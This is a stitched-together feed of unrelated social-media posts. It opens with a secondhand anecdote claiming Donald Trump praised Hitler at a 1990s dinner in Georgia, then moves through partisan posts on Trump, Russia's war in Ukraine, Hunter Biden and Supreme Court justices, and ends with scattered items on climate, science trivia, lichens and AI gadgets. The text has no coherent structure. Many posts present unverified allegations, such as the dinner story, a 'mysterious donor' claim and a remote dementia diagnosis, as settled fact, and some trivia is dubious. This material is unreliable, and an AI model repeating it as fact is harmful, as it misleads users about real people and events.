Although my wife and I have only been married for a few years. We have known each other since we were in High School in Tennessee. We were always great friends. And always kept in touch. Martha shared the details of this story to me many time before Trump was President or even being mentioned as a candidate. I have heard the story for almost 30 years and the story never changes. What happened that night at the Depot is a real eye opener and tells us a lot about who and what Donald Trump is and always has been.
As the Trump’s ate dinner that night in Dalton , Georgia with ‘The Carpet King’ Bob Shaw and his semi interested employees who were bored by the bragging and buffoonish action towards the staff by Donald Trump. It was obvious that even Bob Shaw was not interested in Trump’s incessant bragging about one building or another. So Trump decided to change the conversation to his political ideas and where his political theory came from. The dinner was about to take a dark turn that no one in attendance would ever forget.
The first words that got the groups attention was when Trump said” Hitler did some great things and had some great ideas. He just didn’t get to finish what he started.” The table grew quiet as Shaw and his startled employees threw furtive glance at each other, all were hoping that maybe Trump was drunk or kidding. But his glass only held Diet Coke and the look on Donald Trump’s face was deadly serious. He was not kidding. This is what Trump believed then and believes now.
As Trump continued to regale the now silent table with his admiration of Adolph Hitler and how he thinks America needs to be more like Nazi Germany, his wife Marla tried to mitigate the words that were coming out of her husbands mouth. “ Oh Donald, you don’t believe all that. Stop it.” Marla turned to Bob Shaw and said “Donald keeps that book by Hitler beside our bed, it’s the only thing he ever reads. And he watches tapes of Hitler’s speeches. But I don’t think he believes all of that stuff.”. “Yes I do Marla” Trump said as he waved his hands to dismiss his wife. “And America would be a lot better if we had someone like HItler in charge”
As the evening went on Trump continued with his lavish praise for Adolph Hitler and the Nazi’s. When anyone tried to disagree or question him they were shut down by the loud and obnoxious Donald Trump. When the Shaw employees finally left the Depot that night. They were shocked and disgusted by Trump’s words. My wife’s co worker Marianne was especially upset as she was Jewish and my wife also has Jewish heritage. But the conversation ended in the parking lot at the Depot that night with Martha and Marianne ensuring each other that “at least Donald Trump will never be President.” Boy were they wrong.
I have heard this story for years. My wife Martha and other Shaw employees have all verified the facts and conversation at the Depot in Dalton that night. Just yesterday Donald Trump said that immigrants are”not human” this followed Trump claiming that immigrants are “poisoning the blood of our country” and calling immigrants “vermin”. These statements are taken from Hitlers Mein Kampf and his own words. There can be no doubt that Donald is emulating the words and deeds from that dark time in world history. We must never allow this in America. Donald Trump decided a long time ago that America should be more like Nazi Germany. His goal is in sight. The only thing standing in Donald Trumps way is you and I. We will never let the dark vision of Donald Trump and Adolph Hitler become reality in the United States. We will stand against Donald Trump and all who support him. We will not bend nor break. America‘s future depends on it.
Last 46 hours Baltic Jammer has been running in south Baltics.
At least 873 unique aircrafts has had their navigation equipment jammed. Each one a passenger jet filled with civilians.
E.g. Ryanairs SP-RKS has been without GPS for at least 2 hours going in and out of Vilnius. https://t.co/hMWhKzbaiH
@Kaju_Nut @nblqbl This question has been debated by a lot of people. Two references that might be pertinent here is one by @four_form (https://t.co/T1dl6EYZJC) and myself with Bob Wald and @DaineDanielson (https://t.co/OBu0LBfJks)
40 out of his 44 cabinet members will not endorse him.
His VP will not endorse him.
Many of his former staffers will not endorse him.
Anyone who believes there are brighter days ahead for America, will not endorse Donald Trump.
Remember that Forbes Ukraine article from last year that found Russia had spent $25.6 billion on compensation to families of deceased soldiers and $21 billion on compensation to the wounded. Putin has previously signed a decree earlier in 2023 ordering the payout of $68,800 to the families of deceased and $41,300 to soldiers that are wounded. Using this we can get a glance at potential Russian casualties ASSUMING zero corruption/money laundering and that all funds allocated where properly paid out.
According to the expenditures by the Russian Government they have conducted payouts to the next of kin for 372,093 soldiers killed in action.
According to expenditures by the Russian government, they have conducted payouts to 508,474 soldiers wounded in action.
According to Russian expenditures, Russian casualties in the past 18 months are as follows.
KIA: 372,093
WIA: 508,474
Total Casualties: 880,567
Well the update to that figure is not 508,474 injured but 507,000.
this room temperature superconductor stuff is absolutely insane
I dug around to find out how they work and how the world is on the verge of a complete transformation because of them
read on 🧵 https://t.co/cvbvyqXS2q
This incredibly detailed open source intelligence effort (published by the New York Times) revealed how the Russian air force intentionally targeted 50+ underground medical facilities in Syria in a systematic bombing campaign.
The strategy of knowingly targeting medical facilities (and then "double tapping" them to take out the first responders) goes far beyond being "just" a war crime; it is positively Satanic.
https://t.co/b94Sou5VdY
Emmanuel Macron is just kicking ass tonight.
Some of his words for the French TV:
"If Ukraine falls, our security will be at risk. If Russia continues to escalate, if the situation worsens, we must be ready, and we will be ready. To be prepared, we will make the necessary decisions to ensure that Russia never wins."
"I want our compatriots to understand that there is only one person responsible for the situation we are in: it is the Kremlin regime. I am undoubtedly a responsible leader who has spoken with Vladimir Putin more than anyone else. We are not in fiction, this is not a novel or a TV series."
"Therefore, if the war spreads, if the war spreads in Europe, it will be the only choice and responsibility of Russia. Of course, today Russia is an opponent. The Kremlin regime is an opponent. I have always said this, we are not waging war with Russia and the Russian people.
"And we support Ukraine. I will tell you very simply: there will be no lasting peace without sovereignty, a return to internationally recognized borders of Ukraine, including Crimea."
"Today, for there to be peace in Ukraine, we must not be weak, so we must soberly look at the situation and with determination, will, and courage say that we are ready to achieve our goal by the means that ensure Russia will not win. The responsibility lies with us."
"If Russia wins, how will the lives of the French change? We will no longer have security in Europe. Who could think for a second that President Putin, who has respected none of these restrictions and none of his commitments, would stop at what has been achieved? The security of the French is at stake. These are our vital interests."
We have helped Ukraine to resist. But now the context on Ukrainian soil is changing. For them, the situation is much more complicated. Russia is becoming tougher internally and is stepping up its attacks.
"What is at stake in Ukraine? A war that is existential for our Europe and for France. We have introduced too many restrictions, so to speak, into our vocabulary. We are not participating in the escalation. We are not in a state of war with Russia.
We just need to be clear: we must not allow Russia to win."
What can I say -- finally the words of a real European leader.
@RaduHossu According to British historian Niall Ferguson, out of all recorded conflicts which occurred since the year 387 BC, France has fought in 168 of them, won 109, lost 49 and drawn 10; this makes France the most successful military power in European history.
NATO Secretary General Stoltenberg revealed that recent NATO estimates show a notable increase in Russia's losses in Ukraine. He disclosed that Western intelligence services indicate the number of killed and wounded Russian soldiers has surpassed 350,000.
https://t.co/1iHIOGCzUo
I finally figured out how to skip daily stand-ups
I made an AI clone that knows what I'm doing all day, listens to audio with whisper, and responds with a language model.
Here is a sneak peek of Jarley in a real life meeting: https://t.co/q0yFKZYfhc
My latest @BylineTimes article, just published.
The Hallmark of Russian Occupation: Torture.
A UN expert recently said that of 103,000 recorded war crimes, 90% are torture.
The occupiers do this everywhere, because they are not welcome anywhere.
https://t.co/sb2fT0ZOVE
@secretsqrl123 USSR gave Vietnam more than 2000 tanks and more than 700 airplanes, about millions of shells, hundreds of air defense systems or Soviet pilots I am already silent, USA gave Ukraine 31 Abrams and 0 airplanes it is disgraceful for the greatest nation on the planet.😎🫡😇
How do you incubate a mind virus? How do you cause a culture to self-destruct? In 1984, this KGB defector exposed the 4-stages identified by Soviet intelligence as the necessary steps to cause the psychological implosion of American society.
Stage 1: Demoralization (15–20 yrs) https://t.co/YNVLqZLl56
1/10 Full text of my speech at FEAR NOT exhibition at @wendemuseum March 2
One year ago I addressed Putin from the stage of the TED conference, and I delivered a message directly to him: I told him that he knows that he has lost already, and that’s why he’s so openly evil - a wounded creature bleeding its poisonous intestines on everyone and everything around, torturing, murdering, bombing hospitals and maternity wards. It’s been a year, and I have some updates.
I know that we’ll win in the long-term. Time and history is not on Putin’s side. Putin and his imperialist craziness will pass, and I’m sure younger Russian people would eventually opt for living in a peaceful successful democratic country and being welcomed in the world, rather than being cannon fodder in imperialist wars and treacherously invading innocent people’s homes and taking their lives. History and time is not on Putin’s side, but it’s taking too long.
1. One year ago the idea of a light-duty utility vehicle (similar to a golf cart) performing the functions of an armoured personnel carrier would have been ridiculous. But sometimes reality is stranger than anticipated. https://t.co/hTBLaylowV
Data mining ISS imagery in an unusual way.
Nathan Bergey, then a visiting scholar at Portland State University in Oregon, plotted on a blank map of Earth, the location of the Space Station at the moment each of more than 1.1 million astronaut photographs were taken. A new vision of Earth’s geography emerged. The continents appear in ghostly outlines, and places of striking beauty are thick with dots. Regions of constant cloud cover and featureless reaches of the mid-ocean are rarely captured.
Parsed in this manner, nothing of the photographic subject remains, only the fact that a human being, driven by something intangible—curiosity, awe, aesthetic delight, perhaps even a moment of homesickness—chose to release a camera’s shutter.
Map assembled in 2013 from 1,129,177 astronaut images from ISS, Expeditions 1-34, see Nathan’s data at: https://t.co/PsW78craSr
Russia has lost 2410 Tanks, so far. (that's visually confirmed) Including 94 In February, When I last updated the graph on 1st March only 80 tanks were recorded in Feb, but with 5 extra days, 14 more have been found. Plus some additions and amendments to earlier months, including one extra in Feb 2022! We will have to see if the Rising trend of old tanks T-55s and T-62s continues. Should I split the T-55s and T62s? Data table to follow.
Damn!!
The Ukrainian sea drones sunk the russian ship Sergey Kotov 400+ miles from the Ukrainian coast and just 15 miles from the Crimean bridge!
Ukraine is sinking the last protections of that damn bridge :-)))))
Russia was forced to attack Ukraine because Ukrainians wanted to join NATO?
NATO promised it would not expand to the east but later broke this promise?
It will take me less than five minutes to prove with facts that both statements are false. https://t.co/5rjC9E1jzL
THE SECRETS FACTORY: Registered Agents Inc. has for years allowed businesses to register under a cloak of anonymity. A WIRED investigation has found that its secretive founder has taken the practice to an extreme. https://t.co/qXQQOlCjHG
A mysterious donor covered Kavanaugh's $92,000 country club dues, $200,000 in credit card debts, and a $1.2 million mortgage.
Following these payments, Kavanaugh voted to maintain Trump's ballot presence and is postponing his trial in DC. https://t.co/6tS6ixn3gS
AI News is created and run by @swyx and friends; powered by GPT-4 (I think).
Code is open-source: https://t.co/k8CBvUXGPS
Thanks y'all for creating this!
(i realized too late that I didn't call out the people behind it, couldn't edit my tweet)
@soumithchintala Yeah!
The best way for me is to use X Pro with lists.
Am the only human to map out the entire AI industry here: https://t.co/fasUz7PuHq
MASSIVE NEWS - DOJ says 60-day rule does NOT apply to Trump trials, because he’s already been indicted
So the Trump federal trials CAN happen even if they run into September/October
Drastically increases odds that Trump is tried — and convicted — before the election in November
1/19 The medical evidence for Trump's dementia:
An interview in Salon with Dr. John Gartner.
"In my opinion, Trump is showing a level of symptoms where no real expert would think that there is not something seriously wrong with his brain."
https://t.co/uLBtLrehYZ
Hunter Biden's Response to Attacks on his Resume:
“You guys have gone out and said I had no credibility, that there’s no way that I should’ve been serving on the board of Burisma. I just read you my resume." I’d put my resume up against any of you, in terms of my responsibility."
"I don’t know anybody that was, at that time, that was teaching the No. 1 rated course at Georgetown’s School of Foreign Service in the master’s program in terms of foreign policy and advocacy. I literally was on like 12 different boards. I only listed like, you know, 10 of them. And so I had an enormous amount of reasons to be on it.”
Here's Hunter Biden's Resume:
- Hunter Biden earned his law degree from Yale Law School.
- He worked as an attorney at Boies Schiller Flexner LLP, a renowned law firm in New York, where he was heavily involved in corporate law and governance.
- Republican President George W. Bush appointed him to the Amtrak Board of Directors, where he contributed to governance and transparency efforts, vital due to Amtrak's public service role and federal funding.
- He served as a consultant and lobbyist for MBNA, a significant banking and credit card entity, emphasizing the importance of corporate governance and transparency.
- He was a board member for the World Food Program USA.
- He co-founded a private equity firm and a lobbying firm, respectively.
- He has provided consultancy services for various companies.
Reminder that Jim Jordan, one of the top Republicans investigating Hunter has the following resume before politics:
- Ohio State wrestling assistant coach
“Conjured out of thin air.” CNN cuts out of Trump’s speech after he tells “several lies”. They have their fact-checker, Daniel Dale, standing by, who immediately goes to work. CNN has finally wised up. Every single network must do this when Trump is speaking. (Video: CNN) https://t.co/9GAOnygmMe
FACT CHECK on Trump's Eagle Pass Border Speech:
Trump: "We had Remain in Mexico. The Best was remain in Mexico. You stay in Mexico. We had catch-and-release in Mexico.... We were doing a great job and then we had elections."
FACTS:
- Remain in Mexico barely worked and many of those who were removed were victims of horrible crimes.
- Over 2.2 million Immigrants were apprehended Under Trump. Less than 70,000 (ONLY 3.2% were removed to wait in Mexico).
- Out of the 70,000 who had to remain in Mexico, there were hundreds who were victims of rape, murder and kidnapping.
- Title 42 is what actually drastically cut undocumented immigration under Trump. Title 42 only applies to national health emergencies. The CDC removed COVID as a national health emergency meaning that Title 42 could no longer be used.
- When Title 42 was halted, Biden implemented a new directive that forced immigrants coming from nations through Mexico to first seek asylum in Mexico. The Court said it was "Illegal".
That's why he's pushing for new laws to give him more power.
Just to be clear, Clarence Thomas will be deciding if Donald Trump has presidential immunity for attempting a coup that his wife, Ginni Thomas, helped plan.
Clarence Thomas is compromised. https://t.co/mi9kytDuQQ
Extraordinary!
Israel’s ambassador to the UN, Gilad Erdan, delivered a speech in which he totally torched Russia. He not only announced that Israel is going to provide an early warning systems against missiles for Ukraine but also called Ukraine an “ally”. He also equates Russia with Hamas and attacks Russia for hosting another visit of Hamas in Moscow.
You can be sure that this speech comes in coordination with the Israeli Prime Minister. It clearly marks the end of the relationship between Putin and Netanyahu. This whole instance reminds when Amir Weitmann delivered his viral statement in RussiaToday where he announced that “Russia is going to pay the price” (check out the repost). I think we are witnessing what this means.
Israel’s pro-Ukraine position will also have ramifications in the US and the ongoing discussion for military aid.
Source of video: https://t.co/h10fHVctLY
WOW! I urge all Trump supporters to at least read this.
Trump claimed that Biden did the same thing he did with the classified documents at Mar-a-Lago. Jack Smith's team just replied with the following to the court:
"There has never been a case in American history in which a former official has engaged in conduct remotely similar to Trump’s.
- He intentionally took possession of a vast trove of some of the nation’s most sensitive documents—documents so sensitive that they were presented to the President—and stored them in unsecured locations at his heavily trafficked social club.
- When the National Archives and Records Administration (“NARA”) initially sought their return (before learning that they contained classified national defense information), Trump delayed, obfuscated, and dissembled.
- Faced with the possibility of legal action, he ostensibly agreed to comply with NARA’s requests but in fact engaged in additional deception, returning only a fraction of the documents in his possession while claiming that his production was complete.
- Then, when presented with a grand jury subpoena demanding the return of the remaining documents bearing classification markings, Trump attempted to enlist his own attorney in the corrupt endeavor, suggesting that he falsely tell the FBI and grand jury that Trump did not have any documents, and suggesting that his attorney hide or destroy documents rather than produce them to the government.
- Failing in his effort to corrupt the attorney, Trump enlisted his trusted body man, codefendant Waltine Nauta, in a scheme to deceive the attorney by moving boxes to conceal his (Trump’s) continued possession of classified documents.
- As a result, Trump, through his attorney, again returned only a portion of the classified documents in his possession while falsely claiming that his production was complete. The obstructive conduct even persisted from there.
- In June 2022, knowing that he had arranged for Nauta to move boxes to conceal them from Trump’s attorney, and knowing that the government had subpoenaed the security video footage that would reveal that surreptitious box movement, Trump, now joined by not only Nauta but also codefendant Carlos De Oliveira, attempted to have the information-technology manager at Mar-aLago delete the video footage that would show the movement of boxes."
If you are going to believe Special Counsel Hur regarding Biden, then shouldn't to also believe Jack Smith's statements above, which are backed by some pretty solid public evidence?
Video from Smith's press conference in June after Indictments were unsealed:
Former Australian Prime Minister Malcolm Turnbull:
“When you see Trump with Putin, as I have on a few occasions, he’s like the 12-year-old boy that goes to high school and meets the captain of the football team. ‘My hero!’ It’s really creepy.”
https://t.co/x89ogncwQz
Now that our old friend is back with a fresh "Maidan coup" take, it is worth reviewing just how dumb this argument is. It's not only that the general argument is dumb; in fact, every single permutation of its various strands is just mind-numbingly stupid. Let's take a look.🧵
I think Polish farmers might want to hear this.
Russian propagandist Solovyev:
"Do the Poles want to be next? They are not Ukrainians. We will not treat them like brothers. We'll bloody destroy all those cities in an instant, without using ground troops. It's Ukraine we feel sorry for, but there [in Poland] we'll fight like the Americans in Iraq. We will simply, I am not sure about nuclear strikes, but with missile strikes and air strikes, I am sure, we will just freaking destroy them. And we won't even think twice."
Europe had a security architecture with Russia which was supposed to guarantee inviolability of borders, sovereignty and territorial integrity. The UN Charter, Helsinki Accords, Budapest Memorandum, Istanbul commitments, to name but a few of the agreements. 🧵
‼️Very telling interview with a Russian collaborator and a faux governor of Zaporizhzhia Oblast Yevgeny Balitsky about what was happening to Ukrainians who opposed Russian occupation at the beginning of Russia’s full-scale invasion of Ukraine.
Not only does Balitsky openly admit to forced deportations (which are war crimes) but he also hints at executions of the pro-Ukrainian residents of Melitopol.
It’d be interesting to know how his new masters feel about Balitsky allowing people he knew to ‘escape’.
FYI: When Balitsky talks about not being a Tolstoy follower he's referring to the Tolstoyan movement that is comprised of Christian pacifists.
#RussiaUkraineWar #Russia #Ukraine #WarCrimes
🔴 Russian Interference: Recruiting Donald Trump – the Early Years
Russian Intelligence expert @ZarinaZabrisky tracks back the decades-long dossier on the US President
https://t.co/o3DmOYbS5F
#Breaking: 🔥Representative Daniel Goldman, on CNN, has revealed that "wittingly or unwittingly, House Republicans have been acting as an agent or asset of Russian intelligence for Vladimir Putin."
Rep. Goldman's assertion underscores concerns about the current state of the Republican Party.
The whole house of cards is tumbling in on itself and we learn that the puppet master pulling the strings of his useful idiots in the US House and right-wing media is Putin. What a shocker they are also against aid to Ukraine and hostile to NATO. Probably a coincidence.
JUST IN: Alexander Smirnov told the feds during an interview after is arrest that "officials associated with Russian intelligence" were involved in passing a story about Hunter Biden. https://t.co/3iOGQtZNAJ
Chat with Trump Supporter Melvin.
Me: Hello, can I ask you about your shirt?
TS: Sure.
(We introduce ourselves)
Me: It has a black US flag on it and says "Trump 2024 or Burn It Down." What does that mean exactly?
TS: Exactly what it says. If the libtards steal the next election, shit is going to hit the fan!
Me: Okay, I'm going to ask a few questions to clarify what that means to you, okay? Because it could mean different things to different people, right?
TS: I guess, sure. Go ahead.
Me: If Trump loses, and there isn't election fraud sufficient to change the outcome, does the shit still hit the fan?
TS: Can't happen, if Trump loses we know it's rigged! It was stolen last time and everyone I know is voting for Trump!
Me: Would it matter to you if virtually every person in Trump's inner circle in 2020 has admitted, even testified under oath, that the election wasn't stolen?
TS: Nope.
Me: You know his Attorney General and the White House attorneys say it wasn't stolen.
TS: I trust Trump, not them RINOs. Look, if you are here to challenge my beliefs, you're wasting your time.
Me: I'm here to understand your beliefs, and the only way I can do that is by asking questions. I'm not passing judgement or saying you're wrong. I'm just trying to learn.
TS: You seem to have an agenda.
Me: Only to learn. So, what does "shit hit the fan" mean to you?
TS: I have to be careful what I say, but I wouldn't be surprised if all hell breaks lose! People are tired of being cheated out our right to choose our leaders!
Me: Do you support Democracy?
TS: Not this Liberal BS Democracy!
Me: Trump has said he might suspend the Constitution, the Rule of Law, jail his political opponents, and set up prison camps. Do you support that?
TS: It's fine with me! Can't get much worse! He won't mistreat his people, his supporters!
Me: His people?
TS: You know what I mean!
Me: No, I . . .
TS: Let's move on! You know!(Looks over his eye glasses at me).
Me: Okay - So, would you be okay with dictator Trump?
TS: Might as well! We're under a dictator now!
Me: Really? Let's circle back on that. First, if you don't mind, can I ask how old you are?
TS: I'm 66.
Me: Are you still working?
TS: Yes, I retire in June of next year.
Me: Congratulations! The reason I ask, what happens if Trump decides to abolish Social Security and Medicare?
TS: (Getting agitated, looks down, shaking his head) That's pure Liberal BS! He can't do that, and wouldn't if he could!
Me: But, if he's a dictator and the rule of law is dead, the laws governing social service could be at risk, right?
TS: No! Not possible! Let's move on!
Me: Okay, sure, I don't mean to upset you, it's just worth thinking about the possible negative effects of losing our Constitutional protections, right?
TS: I don't feel very protected? Do you?
Me: I'm extremely worried! Let me ask you one last question on this subject and we'll move on and wrap up pretty soon.
TS: Okay.
Me: If you knew for certain that you would lose the rights and protections afforded to you by the Constitution, including the laws governing our country, would you vote for Trump anyway?
TS: Absolutely! I'm with him to the end!
Me: Thank you for your time. Here is my card. If you ever change your mind about any of this, or want to share your thoughts on other subjects, give me a call.
TS: I'm not going to change, but I do appreciate how you didn't become hateful. I usually can't have these discussions without someone getting hateful.
Me: Well, if we don't talk, we can't ever hope to understand each other, much less get along. I'll answer any question you have!
TS: That's good! I may give you a call, who knows. My kid says I need to consider the opinions of others. (Examines the card).
Me: I look forward to it. Between now and then think about how ending democracy might impact your life. We have to consider the fact that change isn't always good, right!
TS: Well, you're right about that!
https://t.co/LhFa0Xwh6B
Brickit is an app that scans all your LEGO bricks: it will recognize all of them and then give you suggestions on what you can build with the bricks that you have.
[📹 rainbow. construction]
https://t.co/FpiFUUkReV
I've been mapping out links between 100,000+ extremist and fringe websites. These sites are ones linked to those, and that I've confirmed are actually hosted in Russia. (Save image locally to explore in high resolution.) https://t.co/P3jmxU5HkW
One of the most legendary pieces narrated by Steve jobs in one of the apple’s early marketing campaign -
"Here's to the crazy ones, the misfits, the rebels, the troublemakers, the round pegs in the square holes... the ones who see things differently—they're not fond of rules...
You can quote them, disagree with them, glorify or vilify them, but the only thing you can't do is ignore them because they change things...
They push the human race forward, and while some may see them as the crazy ones, we see genius, because the ones who are crazy enough to think that they can change the world, are the ones who do."
Charles McGonigal, head of New York FBI Counterintelligence when Trump was running for President, turned out to be on Deripaska's payroll.
Explains some stuff, don't it?
In Case You Have Forgotten: 🔥Jared Kushner is said to have supplied intelligence to Mohammed bin Salman (MBS) while seeking an extensive array of classified documents, surpassing the typical requests of non-National Security Council White House officials.
Despite being identified as a potential national security risk, Trump disregarded concerns raised by career officials.
Kushner, notable for his involvement in The Abraham Accord, is now distancing himself from taking credit as the situation deteriorates, as seen in the recent escalation of conflict in Israel.
On the first sight you even do not see it! This is dramatic all the water bodies in the world are warming and no(!) cleaner air will not fix it and yes we have enough Carbon in the Air for another 2°C warming. Climate Restoration and planned Collapse is what we have to talk. https://t.co/C76DGVXyFr
Speaker of the House, Mike Johnson, received campaign contributions from American Ethane, a company 88% owned by three russians, including russian nationalist Konstantin Nikolaev, who previously funded a russian spy Maria Butina. No wonder he is against the aid to Ukraine. https://t.co/i8mnIWj7v1
In today's #vatniksoup, I'll introduce an American politician and lawyer Mike Johnson (@SpeakerJohnson). He's best-known for acting as the speaker of the US House of Representatives, blocking further US military aid to Ukraine & for his ultra-religious worldview.
1/21 https://t.co/8MY6me7yyi
Thanks to Harvard University, you can now virtually enter the Great Pyramid of Giza in 3D and 360º
Tour: https://t.co/oNXYcACU7D
https://t.co/VYFChxbEUL
No...@USSHARRYSTRUMAN CVN-75 has not been outfitted to carry containers. MV Tangier Express is mile - YES, A MILE - further away from the camera and that is how big that containership is compared to one of the @USNavy largest aircraft carriers.
AS SOON AS 2025 🚨
All media - and everyone - should read this. https://t.co/tFRunjqy8l is by the worlds leading climate scientists including NASA’s @ClimateOfGavin Prof @MichaelEMann @rahmstorf to try to explain developments in climate science.
Here they report on last weeks study about the possible collapse of the AMOC which the study states could happen over the next 75 years but AS SOON AS 2025 - 11 months time! Once it happens it is impossible to turn back.
It is vital journalists understand this.
The whole media needs to report this as the unprecedented - for us - emergency that it is.
As yet it’s not even been reported by @bbcnews
cc
@itvnews @skynews @channel4news @ITNProductions @tombradby @clivemyrie @vicderbyshire @jonsopel @maitlis @mrjamesob @ShelaghFogarty @IainDale @RoryStewartUK @NickyAACampbell @campbellclaret @wossy @KayBurley @Baddiel @peston @Marthakearney @amolrajan @bbcnickrobinson @susannareid100 @benshephard @radioleary @RuthieeL @bbclaurak @alexberesfordTV @Lauratobin1 @NeilThompson62 @TVNaga01 @StephenNolan @rickedwards1 @richardbacon @rachelburden @JonathanPieNews @vernonkay @ColinMurray @thewhitmore @deborahturness
5. The study also provides more detailed and higher resolution simulations of the impacts of an AMOC collapse on climate, albeit considered in isolation and not combined with the effects of CO2-induced global warming (Fig. 2). They show how particularly northern Europe from Britain to Scandinavia would suffer devastating impacts, such as a cooling of winter temperatures by between 10 °C and 30 °C occurring within a century, leading to a completely different climate within a decade or two, in line with paleoclimatic evidence about abrupt ocean circulation changes. In addition they show major shifts in tropical rainfall belts. These (and many more) impacts of an AMOC collapse have been known for a long time but thus far have not been shown in a climate model of such high quality.
https://t.co/NMaQnBYbdM
https://t.co/oJzlf8gS6u
Did you know?
If you rub garlic on your fingers, you can pick up an egg yolk
Garlic releases mercaptans, made of sulfur, hydrogen, and carbon molecules that give garlic its strong smell and cause your finger to be sticky and form a bond with the egg yolk
https://t.co/YHF5y9qMiR
The biggest lie they tell you:
You have to suffer through your aching knees.
Here are 10 elite exercises to kill your knee pain (for good): https://t.co/G881UzXAXV
BREAKING:
Poland’s Ministry of Foreign Affairs @PolandMFA issues a correction to 10 of the lies Putin told Tucker Carlson’s audience during his interview
1. Poland cooperated with Hitler’s Germany.
———
Before World War II, Polish diplomacy tried to keep good neighbourly relations with Germany. Poland’s entering into any sort of military alliance with Hitler was out of question. In the period between the First and Second World Wars, Poland found itself between two aggressive neighbours: Germany and Russia, neither of which practically recognized Polish nation’s right to have an independent state.
In 1934, in Berlin, the German–Polish declaration of non-aggression was signed, which was intended to guarantee the settling of disputes by peaceful means. Even before that, in 1932, a similar non-aggression pact was signed with the USSR.
2. Poles forced Hitler to start World War II against them. Why did Poland start the war on 1 September 1939? It was unwilling to cooperate. Hitler had nothing to do but start implementing his plans with Poland.
—————
The Second Polish Republic rejected Hitler’s claims as well as his proposal to enter into a Polish-German alliance against the USSR.
It was Hitler’s Germany and the Soviet authorities that signed an agreement against Poland on 23 August 1939 (so-called Molotov-Ribbentrop Pact), which allowed Germany to assault Poland on 1 September 1939. Soviet Russia and Hitler’s Germany cooperated in concert until June 1941.
3. Poland fell prey to the policies it had pursued against Czechoslovakia, as under the well-known Molotov-Ribbentrop Pact, part of that territory, including western Ukraine, was to be given to Russia.
———-
Poland did not participate in, nor was it a party to, the Munich Agreement (of 30 September 1938), which in fact heavily limited the sovereignty of Czechoslovakia. Polish claims regarding the Trans-Olza were made after the signing of the Munich Agreement.
4. Thus Russia, which was then named the USSR, regained its historical lands.
————
The USSR incorporated Poland’s eastern territory as the result of armed aggression (17 September 1939) while Poland was fending off the German invasion.
It stabbed the Polish state in the back. So-called people’s referenda held by the Soviets on Poland’s eastern borderlands were accompanied by terror and rigs. Lviv and the then provinces of Lviv and Stanisławów (today’s Western Ukraine) have never been a part of the Russian Empire. Nor was the Vilnius region a historical part of Russia.
5. Ukraine is in fact an artificial state created by Lenin and Stalin.
———
Today’s Ukraine emerged as a state thanks to Ukrainian national movement. The Bolsheviks did not establish it but merely conquered its part to set up one of the Soviet republics. Ukraine emerged at the will of Ukrainians themselves.
6. The left bank of the Dnieper, including Kyiv, is a historical Russian land.
———
Kyiv was the historical capital of Ruthenia, and Moscow did not exist at the time. In 1991, Ukraine became an independent state with internationally recognized borders.
7. The idea of Ukrainians as a separate nation emerged in Poland.
———-
The process of self-defining of Ukrainians as a separate ethnic group was paralleled by similar processes in 19th century Europe. Nobody “invented” the Ukrainian nation.
8. NATO bases have been set up on the territory of Ukraine.
———
There are no NATO bases on the territory of Ukraine.
9. Two coups d’etat were committed in Ukraine to artificially break its ties with Russia.
———
During the Orange Revolution, the Ukrainian nation opposed to rigged elections. Holding a next round of voting allowed President Viktor Yushchenko to actually win the majority of votes. After the Revolution of Dignity, President Petro Poroshenko democratically won the presidential election.
10. In 2014, Moscow was forced to defend Crimea because it was in jeopardy.
———
There was no threat to Crimea in 2014.
How does Hawking radiation really work?
#AskEthan
The truth about Hawking radiation doesn't involve particle-antiparticle pairs at all.
If you want to know how black holes really evaporate, you must understand something profound about the quantum vacuum.
https://t.co/VPmBV8DNdz
Putin In 2008 saying Moscow recognizes all of Ukraine's borders, and that there is no issue of ethnic conflict in Crimea. Keep that in mind about Ukraine and why the Baltic’s and Moldova are so nervous when it comes to Russia. Never take putin at his word https://t.co/im5bhMpm3w
There is just a massive amount to dissect here, but it’s astounding how much Carlson REALLY wants Putin to say that he invaded Ukraine because NATO expansion provoked him, but Putin instead insists on continuing his diatribe on Russian irredentism and how Ukraine belongs to them
Please understand how hugely fucking serious our predicament is. Our deranged leaders are sitting back as fossil fuel use and land management for meat etc, is destabilising the conditions that make this planet habitable for us. 🚨 https://t.co/wgz6neUXD8
#Putin Tonight, you'll be served a #Kremlin narrative aimed at
-> normalizing war crimes and mafia state,
-> glorifying a mass murderer
Here are a few facts from Putin's actual bio. 🧵
Forewarned is forearmed. https://t.co/RofinQkJtk
Devil's Tower is likely an igneous intrusion, formed underground from molten rock that pushed up into sedimentary rock and became solid ~50 million years ago
[📹 Quin Schrock]
https://t.co/eGBrTe1QqJ
ChatGPT system prompt is 1700 tokens?!?!?
If you were wondering why ChatGPT is so bad versus 6 months ago, its because of the system prompt.
Look at how garbage this is.
Laziness is literally part of the prompt.
Formatted in the paste bin below.
https://t.co/XSA85dys1I https://t.co/aUesyI8NhV
MPC, or multi-party computation, is about how multiple parties can do shared computations on private inputs without revealing those private inputs.
Suppose you and your friend want to compare who's richer, but without revealing your net worths.
MPC allows us to accomplish this, by computing the function (x > y), where x and y are private inputs.
In general, MPC can be used to build all kinds of useful protocols, like threshold cryptography, dark pools, and private auctions (for sugar beets)!
Twisted firestarter
LICHEN are a twisted pairing:
-There's a tendency for fungi to lichenize (combine into a symbiotic dependency with algae), and 20% of all known fungal species have lichenized. “Both make life in places where neither could survive alone.” (72)
-Polyamory: “Grow many types of free-living fungus and algae together, and they’ll develop into a mutually beneficial symbiosis in a matter of days. Different species of fungus, different species of algae—it doesn’t seem to matter. Completely new symbiotic relationships emerge in less time than it takes a scab to heal.” (86)
-Extremophiles: “Lichens arise in conditions too severe for either partner to survive alone. Viewed in this way, extremophilia, their ability to live life on the edge, is a direct consequence of their symbiotic way of life.” (87)
-Mycelial fossils 2.4 billion years old “makes mycelium one of the earliest known gestures toward complex multicellular life, one of the first living networks. Remarkably unchanged, mycelium has persisted for more than half of the four billion years of life’s history, through countless cataclysms and global transformations.” (67)
-“Fungi have persisted through Earth’s five major extinction events, each of which eliminated between 75 and 95% of species on the planet.” (181)
-They cover 8% of Earth, more than all tropical rainforests. Some are thousands of years old (one in Lapland is over 9,000 years old).
-They turn rock to soil by mining minerals from bare rock, with physical pressure, acids, and binders to dissolve and digest rock. “When lichens die and decompose, they give rise to the first soils in new ecosystems. Lichens are how the inanimate mineral mass within rocks is able to cross over into the metabolic cycles of the living.” (75)
-“They can degrade pesticides, synthetic dyes, the explosives TNT and RDX, crude oil, some plastics, heavy metals, and a range of drugs from antibiotics to synthetic hormones. In principle, fungi are some of the best qualified organisms for environmental remediation.” (185)
RADICAL CHEMISTRY
